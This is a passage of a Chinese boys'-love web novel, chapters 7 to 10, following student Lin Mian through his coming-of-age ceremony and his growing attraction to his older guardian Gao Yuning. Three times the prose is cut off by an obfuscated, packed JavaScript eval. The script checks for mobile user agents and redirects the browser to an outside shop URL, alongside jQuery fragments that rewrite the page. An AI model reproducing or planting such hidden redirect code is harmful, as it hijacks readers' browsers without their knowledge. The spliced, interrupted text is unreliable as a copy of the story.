停顿了两秒后他又阴阳怪气,“别最后是你这个异性恋被憋死。” 林缅抿直了嘴唇。其实他很容易就调理好了自己也是个同性恋的事实,他咬了咬牙内心踌躇,不知道要不要正式和陈汋出柜。 就在他挤牙膏似的嗯嗯啊啊的时候,外面传来脚步声,两个人突然一阵慌乱,好几个避孕套被丢在地上,陈汋胡乱地抓起来丢进书包,两个人手足无措地站直面向门口。 徐语常不耐烦地站在门口,看着像在罚站似的两人,“干什么呢?磨磨唧唧。” 林缅的手里还拿着一开始那个盒子,藏在身后,直接松手让它自由落体,消失在了书包堆里。 “来了来了。” “聊什么呢?什么死不死的?” “讲鬼故事呢,哈哈。” 这天晚上这件事情就打着哈哈过去了。之后的一个星期,林缅投入紧张刺激的学习之中,除此之外,依旧坚持着对郜屿宁日行一“骚扰”。 周五,就是之前觉得永远不会到来或是还早着呢的成人礼了。 换做以前,林缅一定会穿假面骑士Faiz的皮套在学校里装波大的,但过了中二时期的林缅居然觉得麻烦,还要辛苦国外的林准帮他订,想想就折腾。 林缅穿了一套沈珏带他去订的西服,简单大气。原本沈珏也准备来参加他的成人礼,他却婉拒了,说已经有他哥郜屿宁来参加了。 但其实他压根没告诉郜屿宁成人礼的事儿。 他是很想很想见他哥。 但上次分开的时候郜屿宁让他好好想想。 想什么想什么?他光想他哥了。光想通了自己是同性恋的事情。一想到见面,还有些发怵。 除了闷头苦学他不知道还能干什么了?只要一抬头就是对未来的迷茫和惶惑,他就是像是找不到太阳的向日葵。 人缘很好的向日葵被很多朋友邀请拍了合照,还有不少外班不认识但暗恋他的女生,他照相照得脸都僵了。 他们四人组也一起拍了合照,又俩俩拍了照片,林缅才恢复了一点元气。然后徐语常去国际部找她妈妈去了,陈汋和池景行不知道去哪里吃嘴子了。 向日葵走到远离人群的廊亭边,看着草坪上欢闹雀跃的众人,坐在石板凳上,周围的柱子上缠满了郁郁葱葱的藤蔓,终于有点春天的样子了,可是还是没精打采的。 他靠在柱子上百无聊赖地丢着石子儿,直到视线突然被吸住。一个穿着黑色西装的男人从草坪的远处穿过人群向他走来,一手插着裤兜,气质洒脱不俗,步子迈得有条不紊,周围的目光频频落在他的身上。 向日葵猛地睁大双眼,本能地露出笑颜,起身朝他奔去,“哥!” 即便是逆着光朝他走来的,林缅觉得郜屿宁身后真正的太阳跟郜屿宁比起来都要逊色。 他抱住郜屿宁,把他撞了个踉跄。 “哥,你终于肯见我了。”他像只小狗一样把脑袋在郜屿宁肩膀上蹭了又蹭。 听闻此言的郜屿宁没好气的哼笑了一声,只恨不能把林缅揍一顿。 林缅给他发的消息他虽然回复冷淡但一条也没错过。上次的指控还是“你不让我回家”,现在直接变成了“你连见我都不肯了”。真要计较起来,今天成人礼也要算是他不请自来。 “你以后跟你爸撒谎能不能跟我通个气儿。”郜屿宁今早去找林佑勤汇报工作,被一句“你怎么还在这”问懵了。 刚刚照相照得发誓这辈子再也不想拍照的林缅,又抓住同学给他和郜屿宁拍了两张拍立得。 他只顾着低头欣赏照片。 郜屿宁啧了一声,有些嫌弃地帮他理衣服,因为刚刚抱着他黏黏糊糊了很久,西服都揉皱了。 “外套扣子也不知道扣扣好,衬衫怎么皱皱巴巴的?” “你又没教过我衬衫夹怎么用。”林缅又归罪于郜屿宁。其实沈珏给他准备了,只是他自己懒得戴罢了。 “这还用我教?还有,你问了吗?”郜屿宁反问。 林缅沉着脸说,“还说呢,都多久没接我回家了。”手上却很宝贝地把两张拍立得塞进口袋里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990805|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我是把密码换了还是把门焊上了,你自己有手有脚的,不会自己走?” “反正你就这个态度!” 郜屿宁双手抱在胸前,眼神轻轻地落在林缅的脸上,已经完全把这个看似骄矜的小少爷拿捏住,不咸不淡地说,“哦,我不让你回你就不回了?其他方面也没见你这么听话啊。” 林□□然立刻心虚地噤声,脑袋朝旁边扭去,他害怕郜屿宁又把话题落到出国不出国的事情上。 郜屿宁重新抬起嘴角,头朝左边偏了偏,“我车上有多的,帮你戴?” 郜屿宁给了个台阶,林缅就赶紧下来了,“哦,好吧。” 两人去车上拿了衬衫夹的盒子,又一起回了林缅的宿舍。 林缅是后来搬来普高部的,宿舍也是后来才分给他的,他一个人住着双人寝,宿舍空荡荡的。林缅突然有点紧张。 郜屿宁坐在他的床边,从盒子里把两条衬衫夹拿了出来放在一边,他西装的扣子被解开,身体微微向后仰着,一只手撑在床上,等林缅脱裤子。 林缅被郜屿宁盯得浑身难受,这是以前从来没有过的。他磨磨蹭蹭地低头解裤子上的扣子,脸不知不觉地在变红。 这幅样子郜屿宁倒是觉得新鲜,以前林缅有太多小屁孩儿行为了。比如没羞没臊地让郜屿宁目测他的尺度给他挑内裤,也会在郜屿宁洗澡忘记拿浴巾的时候不请自来地冲进去给他送浴巾,还会自取其辱地要跟郜屿宁比大小… 郜屿宁尽量压平嘴角,“不用全脱,你过来。” 林缅拎着裤腰,露出两节白晃晃的大腿,艰难地走了两步,站到他面前。 郜屿宁低着头把一条衬衫夹环在他的大腿上,帮他调整到合适的尺寸,直到大腿被微微勒出一点凹痕。 垂下来的夹子蹭在他的大腿皮肤上冰冰凉凉的,林缅不自在地扭了一下。 “不舒服吗?” “有点…” 郜屿宁一只手从他双腿之间伸过去,覆在他一条大腿的后侧,朝身体的方向拽了一下,“过来一点,我帮你再调一下。” 林缅两只手一直垂在两侧拎着裤腰,被推着往前走了半步,一个没抓紧,裤子彻底掉在地上,堆在他的脚上,两条大长腿就这么明晃晃地暴露在外面,林缅没忍住娇气地小声惊呼了一下。 空气凝固了一秒。 接着林缅看见郜屿宁憋笑憋得肩膀都在抖,林缅一阵羞臊,“哥!”,攥着拳头用力捶在郜屿宁的肩膀上。 郜屿宁笑得不行,林缅也不管了,直接把他推倒在床上,乱拳打在他的身上,“你再笑!” 林缅抬起左腿,曲着膝盖撑在床上,上身撑在郜屿宁上方,另一只手企图捂住郜屿宁的嘴巴让他闭嘴,但是无果。 两人闹了一通连敲门声都没听见,陈汋和池景行直接推门进来。 “找你半天了,怎么自己回宿舍了…” 他们站在门口,这次轮到陈汋惊掉下巴了。 林缅的裤子被褪到脚后跟,跨坐在郜屿宁的身上,喘着粗气,面色潮红,直起身子看向门口呆若木鸡的两人。 林缅心跳骤停了半秒,连郜屿宁拽过被子把他的屁股盖住都没察觉到。 陈汋赶紧把池景行的眼睛挡住,拉着他出了门。 林缅转过头埋怨地捶了郜屿宁两下,自暴自弃地倒了下去,侧躺在床上,把脑袋埋进已经被揉乱了的被子里。 郜屿宁起身,居高临下地看着被子里的一团,声音比刚刚沉稳很多,“起来,把裤子穿好。” 林缅还是当鸵鸟一动不动,裤子已经彻底堆在脚上,郜屿宁握住他的脚踝把他拖了出来,狭小的一张床林缅无处可躲,不得不听话地站起来。 林缅头发凌乱,把脑袋偏向别的地方,不再低头看郜屿宁帮他弄衬衫,直到郜屿宁帮他把裤子提好,扣子也帮他扣上,依旧一副任由摆布的样子。 好像刚刚被狠狠凌辱了一番。 8. 第 8 章 重新整理好服装,把头发抓好,两个人一起朝礼堂走去。 林缅还故意梗着脖子,不理郜屿宁。进了礼堂,他冷漠地拽着郜屿宁袖子坐到特地让陈汋给他俩留的位置上。 陈汋正不怀好意地看着他,林缅立刻抬起手挡在陈汋面前,“别跟我说话。” 陈汋讪讪地耸了耸肩,又跟另一边的池景行脑袋凑在一块去了。 成人礼已经进入最后最无聊的进程。秃头校长上台发言。 教师代表上台发言。 直到“有请学生代表徐语常上台发言。”台下掌声雷动。 林缅虽然兴致不高,但还是把掏出手机来录像。 郜屿宁看到了一直被林缅挂在口上的那位早恋对象,徐语常。 穿着一袭黑色长裙,确实漂亮夺目。 郜屿宁换了个姿势,靠在远离林缅的那一侧的座椅后背上,手肘撑在把手上,支着下巴,余光能看清林缅的表情。 却发现林缅出奇地淡定,甚至还是臊眉搭眼的。 郜屿宁本以为林缅能为对方下这么大决心留下来参加残忍的高考,总该是爱得死去活来,一看到对方就喜笑颜开、喜怒都被对方牵着走才对… 反观林缅只是一个冷漠的手机支架,看着台上大放异彩的徐语常,却面无表情,好像还沉浸在和郜屿宁耍性子的情绪里。 林缅举得手都酸了,决定后半段直接不录了,把视频发给了徐语常。 林缅:神图有了,姐妹。 林缅:自己挑挑吧。 林缅感觉到郜屿宁在看他,但是就是故意不回头看他。他更生气了,自己都把不高兴写在脸上了,一句哄他的都没有。 成人礼最后一项议程结束,礼堂里的人稀稀拉拉地散场。 外面天色已经不早了。 一走出礼堂,林缅就跟开了暴走模式一样,一路走到停车场,扭头却看见郜屿宁不紧不慢地走过来,也不给他开个车门,让他就这么狼狈地就站在车边等他。 郜屿宁走到他面前,也不急着解锁,淡淡地说,“来劲了是吧?” 林缅抬眼瞟了他一眼,声音变小了很多,却依旧埋怨地说,“谁让你笑话我的,还让我脸都丢尽了!” “脸皮什么时候变这么薄了?”郜屿宁掐了一把他的脸。 林缅把脸从他的手里挣开,跟数码宝贝似的换了个方向站,只留给郜屿宁一个绝情的侧脸。 郜屿宁从容地靠在车身上,却直接换了个话题,“我看了你这几次模考的卷子,进步是挺大的。” 林缅侧过头,将信将疑地看向他。 “看来是铁了心了?”郜屿宁抬了抬单侧眉毛。 林缅原本皱巴巴的小脸亮了起来,看向郜屿宁含笑的表情。 下一秒他直接蹦到郜屿宁的身上,搂着他的脖子,什么赌气什么丢脸全都抛到脑后,“我就知道你最好了!哥哥!肯定会支持我的。” 郜屿宁抓住他的手臂,把他拽开,冷笑了一声,“可别,刚刚不知道谁快恨死我了…” 话还没说完,林缅又拿脑袋在郜屿宁的胸口上钻洞,钻得一头卷毛变成了鸟窝,“哪有,没有的事…” “我给你定个目标,考不上江大,你这辈子别来见我了。” 林缅的成绩差江大十万八千里呢,但这种时候也不管现实不现实了,满口答应,“哥你放心,我肯定好好学!” 又放低声音加了一句,“只要你别不理我。” “出息。”郜屿宁哼笑道,无奈地任由林缅将他手臂晃来晃去。 天色早如同泼了墨一样以肉眼可见的速度被染成灰蓝色,停车场的大灯在这一刹亮了起来,整个世界变得明晃晃的,两人的影子交叠在一起。 觉得迷茫痛苦了很久的林缅在这个瞬间觉得心也被照得亮堂堂的,用力抱住了郜屿宁,大口呼吸着带着郜屿宁气息的空气,终于觉得自己的未来也是有形状的、可以摸得到的了。 郜屿宁抽出手臂,掸了掸林缅的肩膀,“走吧,少爷,订了餐厅。不然白瞎这么好看的西装了。” 说实话林缅穿这身还挺像模像样的,他的身形已经能完全撑得起这样的正装,完全摆脱了稚气,背脊挺拔,气质卓越。 郜屿宁说着把车门打开,把林缅塞进去,但林缅却抓住他的手,“别啊哥,我想回家。” 郜屿宁把车门关上,绕到驾驶室,上了车,“怎么了?” “我想回去点外卖,然后一起看假面骑士,就像我们以前在小房子里那样。”林缅亮着眼睛说。 又有些埋冤地补充道,“你都好久没这样陪我了。” 郜屿宁微微怔住。 小房子指的是郜屿宁以前那个出租屋,那个时候郜屿宁还只是初级助理。初入社会,工作并不顺心,加上母亲去世后家庭变故,迷茫痛苦。独自在大城市谋生,手头并不富裕,自己的生活颓废不堪,一团糟糕。 还要管一个破小孩儿的事,郜屿宁起初心里抵触。但还是只得被林缅的班主任训得像孙子一样、不耐烦地为林缅补习落下的功课、没好脸色地为吃饭不规律的林缅对付三餐… 只是林佑勤本来也没让他管林缅管到这种衣食住行样样包揽的地步。 竟也是他自己心软同意林缅黏在他身边的。跟着他一起吃快餐速食,虽然嘴上抱怨得很,但其实很乖,也不觉得郜屿宁的出租屋狭窄逼仄,比起回家也更愿意待在这里。 后来郜屿宁凭能力职场晋升,生活改善了很多,虽然贷款但也在寸土寸金的江市有了自己的房子。 他想不起来何时算跟过去那段颓靡的时光彻底割席。 可能就是从某个礼拜都决定每周带他去吃传说中很有营养的的儿童牛排开始的,也可能是从为了林缅慢慢开始学做饭开始。 但还是还是留下了很多不太好的印记,比如烟瘾、失眠、三餐不规律… 现在想来那段时间,有些颓废和不堪,他自己都不愿意回忆。甚至有一部分原因,是觉得自己对林缅很差劲。 但是在林缅的眼里,却很纯粹很美好。 “哥,好不好嘛?” 郜屿宁思绪回笼,松开抿直的嘴唇,“好。” 回到家里,林缅快饿晕过去了,捧着郜屿宁手机点了一堆炸鸡快餐,觉得自己胃口大得能吃下一头牛。 郜屿宁知道他只是猪瘾大但胃口小,警告似的敲了敲他的脑袋,“吃不完你等着。”说完还是任由他接着点。 林缅迫不及待地要把箍在腿上的束缚给拆掉,等外卖的空档就先去洗澡了。洗完又赶紧催郜屿宁去洗澡,看上去兴奋得要命,等不及要享受晚上的贤者时光了。 郜屿宁从浴室里出来时,茶几上摆得满满当当,一个个餐盒摆得很整齐,电影也找好了定格在片头的位置。 人却跑到了阳台上,撑在栏杆上,一只手拿着手机,在打电话。楼层很高,阳台的灯是昏黄的氛围灯,悠悠然地落下来,宽大的T恤和裤腿顺着风向贴在他身上,看着就有些涩骨。 似乎察觉到身后的目光,林缅转过身看见了郜屿宁,他垂下了眼睛,跟电话那头又说了两句,挂了电话就进来了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990806|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 郜屿宁才看清林缅洗完澡连头发都没有吹干,就站在外面吹冷风,“想变成面瘫?” 说着把他推进卫生间从柜子重新拿出吹风机。 郜屿宁并没有问他在和谁打电话,但林缅很主动地报备,“刚刚是我哥,亲哥,林准打来的。” “嗯。”郜屿宁只是应了一声。林准每个月会跟林缅视个频或是送个礼物什么的,更别说今天是林缅成人礼,会打电话也不意外。 但在国外几年没回来了,不知道靠打电话能维系什么感情。郜屿宁不甚在意。 吹风机发出嗡嗡的声音,两个人说话也听不见,保持了很长一段时间的沉默,郜屿宁拨弄着林缅的头发,关掉吹风机之后,说了句,“头发长了。” 林缅照着镜子,揪了一撮额前的头发往下拉直差不多到鼻梁的位置了,“嗯,卷毛要被剪没了。” “哥你觉得我还要不要再烫小卷毛。” “都行。”郜屿宁随口回答。 “不要都行,你喜欢我什么样?”林缅亮着眼睛,记得当初刚烫完小卷毛回来,郜屿宁动不动揉他脑袋,明明就是很喜欢的样子。 见郜屿宁还在收拾洗漱台上的东西,他自觉地往边上稍了稍又问,“那你觉得我是染别的颜色,还是黑色的呢?” 他照着镜子,抓了抓头发,自顾自地说,“我也觉得黑色更好看。” “那就黑色。”郜屿宁低着头将吹风机的插线收起来。 得到敷衍回应后,林缅舔了舔嘴唇,看向镜子里的郜屿宁,平日里会抓发型,但洗完澡之后变成了顺毛,眉毛被碎发遮着若隐若现,把锋利藏了起来,看起来比平日里都软绵绵毛茸茸了不少,温柔了一点。 林缅正想着,突然郜屿宁抬起手在他面前打了个响指,林缅一哆嗦,两个人在镜子里对视,郜屿宁见他吓一跳,嘴角微抬,“发什么呆呢。” 说完往后退了两步,出了卫生间,林缅也赶紧跟了出去。 应林缅的仪式感要求,客厅只能留一盏泛黄的氛围感立灯,电视里发出电影放映的声音,折射出缤纷的光亮照满整个客厅,林缅准备大快朵颐起来。 林缅坐在沙发面前的地毯上,郜屿宁就坐在他旁边的沙发上,前倾着身子,手肘撑在膝盖上,帮林缅把餐盒都一一打开,摆摆整齐。 果然没过多久,林缅就进入了倦怠期,吃不下了,靠在旁边郜屿宁的腿上,脑袋就搭在他的膝盖上,两条手臂松松地环住郜屿宁的腿,玩着他的脚踝。 知道林缅吃不下了,桌上还剩下一大半,郜屿宁用那条腿顶了顶他,“坐到上面来,窝着容易消化不良。” 林缅是个软骨头,吃多了就想靠着躺着倒着,上了沙发也是一样。不安分地扭来扭去,换了好几个姿势,最后郜屿宁被他折腾得不耐烦。 “啧,别乱动。”郜屿宁用手臂环住他,林缅被梏在郜屿宁的怀里,所有的受力点都落在郜屿宁身上。 这样暧昧的姿势两个人都没觉得有什么不对劲。以前那个出租屋的沙发很小,这样交叠程度最高的姿势很舒服。 “想好怎么跟你爸说吗?不出国的事。”郜屿宁突然问。 “下次回去直接说呗,”林缅不以为意地说,“反正他也不是真的在乎。”大不了就是被臭骂一顿,再不济挨个巴掌。 郜屿宁顿了片刻,“别回去,我来说。” 本来就没有把林佑勤想法放在心上的林缅只是随意应了一声。 从头到尾他在乎的就只有郜屿宁的意见,就像他知道也就只有郜屿宁是真的在乎他的了。 9. 第 9 章 “哗啦啦…” 第二天大清早,郜屿宁直接推开林缅房间的门,一把把窗帘拉开,发出不小的动静。 林缅被闹醒了,窗外的太阳也撒了满屋,他一头钻进被子,拉长了声音抱怨,“哥…” “起床。”郜屿宁一巴掌拍在林缅的屁股上,又把被子扯开。 被窗外的阳光照得刺眼的林缅把已经被蹭到额角的眼罩扯下来,抱住脑袋,“哥…昨天晚上睡太晚了…” “还好意思说?” 昨天晚上看电影的时候,林缅早就眼皮子打架了,却不肯回去睡觉。郜屿宁每次喊醒他叫他回去睡,却都被用饭晕、姿势太舒服等借口搪塞过去了,但很快又困了,就这样循环往复硬生生熬到三点。 林缅没回答,扯回被子又钻了进去。 郜屿宁一只手撑在腰侧,看着被子里那一坨,眉毛微蹙,“还复不复习了?” 被子里那一坨终于蠕动了一下,慢吞吞地从被子钻出来,头发乱成一团,扯掉眼罩后眼睛不太适应地皱了起来,他撑在床上缓了一会,扫了眼郜屿宁的脸色,声音闷闷的,“起来了。” 郜屿宁把昨晚被他踢得天各一方的拖鞋扔到林缅的床边,出了房间。 林缅洗漱完拖着步子走到餐桌边,拿起一个包子慢吞吞地往嘴里塞。 “把你上次校内模考的卷子拿给我。”郜屿宁抿了口豆浆,对林缅说。 林缅眼皮还是垂着,手里的包子只受了点皮外伤连心都没咬到,“在书包里,等会找。” 郜屿宁直接放下筷子,起身去沙发边拿林缅的书包,拎到餐桌边。林缅的书包里都是卷子和草稿纸,翻找的时候整个书包看上去轻飘飘松垮垮的。 啪嗒。 一个小盒子从侧袋里掉了出来。 掉在地上,郜屿宁的脚边。 林缅还在小口啃着那个包子,刚起床实在没什么胃口。 “林缅。” 郜屿宁直起身子,手里拿着那个盒子,面无表情地看着林缅,“这是什么?” 林缅抬眼看见郜屿宁手里捏着一小盒避孕套。是上次在陈汋家里不知道被他丢到哪里去的那个。 刚刚还瞌睡虫上身的林缅一下子清醒了,眼睛睁大,嘴巴微张,与郜屿宁居高临下的气势压迫下显得他很慌张,“不是哥!这不是我的…” “骗小孩儿呢?” 苦于林缅觉得直接把当天的原委说出来有种背叛朋友的感觉,他只能苍白地说,“真的…” “林缅,你成年了吗?”郜屿宁反问他。 林缅连忙辩驳,“我没用过,我真没用过,你看这包装都好好的。” 郜屿宁把盒子不轻不重地扔在桌上,眉眼依旧毫无笑意,“我警告你,成年之前不该干的事情别干,想都不要想,被我发现了腿给你打断。” 一般郜屿宁说这种话就代表暂时放过他了,林缅很了解,赶紧点头如啄米,露出讨好的笑容,“哥,你放心,我最听话了。” 郜屿宁冷眼看了他几秒,才抱着手臂靠在椅背上,拿起林缅的卷子,眉毛又渐渐拧在一起。 林缅偷偷瞄着郜屿宁,穿着宽松的居家服,顺毛,戴着不常戴的黑框眼镜。他想起昨天还觉得居家版的郜屿宁好欺负,怎么会有这种错觉。 他有点不怕死地突然想问,“哥,你试过吗?什么感觉?舒服吗?” 郜屿宁上学时期一门心思在奖学金上,能力长相都不是一般的出众,追求者自是不少,但是他都无心顾及。上班后更不用说了,有了林缅这个小尾巴,没空也没心思谈情说爱。 但是郜屿宁还是眼神不从卷子上移开一下,声音冷得能把林缅冻死,冷漠地一一回答,“一般,没感觉,不舒服。” 林缅张了张嘴还想问,却被郜屿宁一个不悦的眼神憋了回去,“小屁孩儿满脑子都是什么?我刚刚警告过你了。” 都是你呀都是你呀都是你呀。 林缅悻悻地闭了嘴,“哦。” 眼看郜屿宁看卷子的表情越来越凝重,林缅很自觉且讨好地把餐桌收拾了,又轻手轻脚地拿出练习册。 郜屿宁问他这张卷子里有没有哪里不懂的,林缅指了几道,郜屿宁都给他讲解了一遍。 林缅订正错题的功夫,郜屿宁回房间拿了一叠资料出来,“等会别急着做新题,把这上面的题做了。” 林缅看了眼,全是他这几次模拟考试和高考真题的错题,还按照考察内容分门别类的整理在一起了。 林缅鼻子一酸,这肯定不是这两天弄得好。 他不难猜到,在之前那段时间里,郜屿宁肯定也为他的事情发了不少愁、废了不少心思。 “又发呆。”郜屿宁敲了敲他的脑袋。 林缅赶紧拿笔写题,虽然磕磕绊绊,但是正确率还算可以。郜屿宁把他做的时候卡住的题目又给他讲了一遍,因为相同类型的题目都放在一起对比了,林缅感觉知识点都被拎得很清楚。 郜屿宁把林缅的那本练习册拿过来,用笔圈了几道题目让林缅举一反三。因为都是刚刚那些错题和知识点的变体,在林缅的眼中这道题目要考察什么清晰了很多,做得还算熟练。 做完给郜屿宁检查了之后,他刚准备把剩下来的题目写完,练习册却被郜屿宁直接拿走,扔在了一边。 郜屿宁接着说,“剩下的不用做了。” 林缅愣了一下,说,“那是作业,要交的。” “你都会了,做了也是浪费时间。” 郜屿宁见林缅还是僵着,抬了抬他的胳膊,语气缓和了很多,“去背会书,换换脑子。” 对郜屿宁说一不二的林缅拎着课本去沙发上背书了。郜屿宁把电脑拿出来忙了会儿工作。 很普通的周末,阳光洋洋洒洒落进屋子,明媚得连空中雀跃的尘埃都能看清,又像是一条晶莹的毯子,温暖地铺在身上、又照进心里,暖烘烘的,是很舒服的春天的温度。 两个人都忙碌着自己的事情,无言却互相陪伴,早已成习惯,两颗心贴得有多近可能连他们自己都没意识到。 林缅背完书,回到餐桌边上,郜屿宁已经去厨房里忙活午饭了。 很奇怪,两个都不好好吃饭、觉得一个人的时候就随便对付对付的人,凑在一块却一天三餐十分规律。 林缅把桌子收拾好,看见郜屿宁电脑上是他看不懂的图纸,但在他的意识里这些是技术部工程师的活,麻烦不到在总裁办的郜屿宁,他问,“哥,你怎么还要干这些?” “朋友公司的,让我帮忙看看。”郜屿宁把佐料倒进锅里,伴随着嘶嘶啦啦的声音,他回答。 “哦。”林缅把卷子都收拾好,小心翼翼地把电脑捧到茶几上,坐到餐桌边上,“周末也要忙别人的事吗?可是这样你很辛苦。” 郜屿宁把盘子端上桌,“小孩儿别管。” 林缅心中不悦,早上他打探那方面事儿的时候就被一句小屁孩儿怼了回来,现在也是,可是他明明是在心疼郜屿宁。他很讨厌老是被郜屿宁当作小孩儿。 但是他转念想起自己对郜屿宁过分的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990807|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依赖却又实在不像个独立的大人,就好像郜屿宁整理那么多错题、讲了一上午题目,不是在“忙别人的事”一样,但郜屿宁也没有嘴毒地回怼他:“是我要高考吗?” 由此见来,在他们两个人的潜意识里,他俩早就是密不可分的整体了。 想到这里,林缅心里舒服了很多。以前郜屿宁往他碗里夹蒜苔,他都会因为挑食怨声载道,但是他现在很满足地送进嘴里,还尝到了甜甜的味道。 从这一周开始,林缅开始走读了。每天晚上郜屿宁都会给他讲题、抽背课文,为他有针对性地复习,也会为他有营养地加餐。 有时候已经夜深了,林缅躲在被子里还要再学一会,学到不会的还会敲郜屿宁房间的门。郜屿宁告诉他学习效率比时长重要得多,别学不进去到时候把眼睛还给看坏了。 林缅问完题目,就开始留在郜屿宁的房间里睡觉,两个人钻一个被窝都没觉得有什么不自在。因为郜屿宁之前那个出租屋就是一个一居室,两个人经常挤一张床。 晚上,林缅把错题整理完交给郜屿宁检查,自己去卫生间刷牙,刷完牙准备先回郜屿宁房间。 郜屿宁却把他重新喊回来,指着一道题目,“还没懂吗?” 已经讲过的题目他又做错了,他老实地说出自己哪里不太明白,郜屿宁让他把桌子另一侧的椅子拖过来再给他讲一遍。 平时郜屿宁总给人不怒自威的感觉,但讲题目的时候却意外地有耐心,讲了几遍林缅没听懂也不会生气或者不耐烦。 林缅懒得去搬椅子,直接坐到郜屿宁一条腿上,黏黏糊糊得太没边界了,郜屿宁一巴掌打在他大腿侧边,“找抽呢?搬椅子去。” 林缅不老实地扭了扭腰,“太远了,就这样讲嘛。”拽着郜屿宁的手臂让他往前靠,前胸贴后背。 郜屿宁没跟他掰扯,细致地把这道题目又讲了一遍,讲完之后看向林缅的侧脸,问,“这次听懂了吗?” 林缅若有所思地按照自己的理解解释了一遍,边讲边拿着笔圈圈画画,感觉自己掌握了之后兴奋地扭过头问,“对吧。” 林缅个子比郜屿宁差了一些,坐在他腿上正好能平视。这一刹那两人的距离近到能感觉到对方的呼吸的温度,还夹杂着牙膏的清香,只差一点点两人的嘴唇就要碰到一起。 凝滞了两三秒,不知道是谁的呼吸先乱了一步,林缅回过神来,弹射着站了起来,假装很忙碌地开始书包。郜屿宁也察觉出气氛的诡异,清了清嗓子,起身去卫生间刷牙。 林缅收拾完书包,准备今天溜回自己房间睡觉,郜屿宁正好从卫生间出来,以为林缅晚上又准备开夜工学习,“干什么去?” 林缅只好侧着身子,在他眼皮子底下钻进郜屿宁的房间,上了床赶紧用被子把自己的失态遮住,在郜屿宁回房间之前赶紧闭上眼睛装睡。 直到感觉另一侧的床上的人已经躺了下来,房间的灯也已经关上了,漆黑中林缅眼睛缓缓睁开,心跳很快,但又被酸胀充斥。 在这段时间,林缅没有刻意区分对郜屿宁是哥哥一样的依赖,还是真正的喜欢和爱。他一直按照多年以来两人相处的惯性继续黏着郜屿宁。 但现在在他真实地因为郜屿宁身体产生反应过后,他突然有点沮丧。 因为他不想得不到回应。 他有点理解陈汋那时候口中说的:“你以后就懂了。” 他脑海中反复回放刚刚的画面,有点后怕,也不知道自己是怎么忍住没有亲上去的,却又忍不住地续写亲吻之后的故事。 10. 第 10 章 郜屿宁发现林缅最近经常梦.遗。 大早上轻手轻脚地回自己房间换内裤,又偷偷摸摸地跑去卫生间搓内裤,搓得脸红耳热的。 郜屿宁一开始也没想提,这本来就是青春期的男生会经历的很正常的事情。但是林缅做题的时候开始经常犯很低级的错误、还老是走神没精打采的。 吃早饭的时候,林缅趴在桌上边嚼嚼嚼边订正昨晚上默错的古诗填空,郜屿宁看了眼他的本子,差点气死,把错别字的版本抄了十遍。 郜屿宁一阵来火,觉得他心思根本不在学习上,问他,“你最近怎么回事儿?” 林缅被吓了一跳,坐直了,不知所然地看向他,“什么?” 郜屿宁本就是朝阳台坐着,看着他冲前方抬了抬下巴。 林缅随着他的示意扭头看过去,空荡荡的阳台上挂了一排小内裤,有一条今天早上洗的还在滴水,正好一阵风刮过,小内裤们还很合时机地晃了晃。 林缅突然一阵羞臊,或者说是恼羞成怒,跟炸毛了似的,低下头假装继续吃早饭,脸却胀得通红,“什么怎么回事!我又不是阳.萎!这不是很正常!” 脸埋得很深,无能狂怒完之后,又声音很低地心虚地解释道,“就是压力太大了呗…” 郜屿宁也不是一定要让林缅说出个一二三出来,但发现林缅确实开始有自己的秘密了。他不知道是不是代表两个人开始渐渐走远的预示。 但他想起,林缅十四五岁第一次遗精就在之前那个小出租屋里。两个人挤在一张床上,连郜屿宁的裤子上都沾到了。当时郜屿宁白眼都快翻到天上去了,把罪魁祸首从被子里拖出来的脸红到耳朵根,郜屿宁才没忍心把他揪着暴打一顿,只好自认倒霉,粗暴地把他内裤扒下来,又把光着屁股蛋的林缅抗到沙发上,收拾乱七八糟的床单被套。 只是,如果这样的事现在再发生一遍,他确实做不到像之前一样直接把林缅的裤子扒下来,再把他当小孩儿嘲讽几句。 “你要是嫌弃,我以后自己睡呗。”林缅自暴自弃地说。 郜屿宁清了清嗓子,少见地有些不自在,“不是,要是压力大,睡觉之前可以先解决一下。” 一天两条内裤,换得都不够你糟蹋的。郜屿宁硬生生把这句调侃他的话咽了下去。 “哦…”林缅把写错的字擦掉重新订正,兴致不太高地回答。 晚上睡觉之前林缅会频率不太高地去“解决”一下,但每次都会待很久,出来的时候也沉着脸,疲倦地爬上床后把自己裹成个粽子,并没有一身轻松的感觉。 之前见识过林缅用了一地的纸巾的郜屿宁,怎么也想不到林缅这样是因为自己弄不出来、觉得没意思。 林缅这样告诉他的时候,郜屿宁沉默了片刻,“那是为什么?” 为什么睡觉的时候却会梦遗。 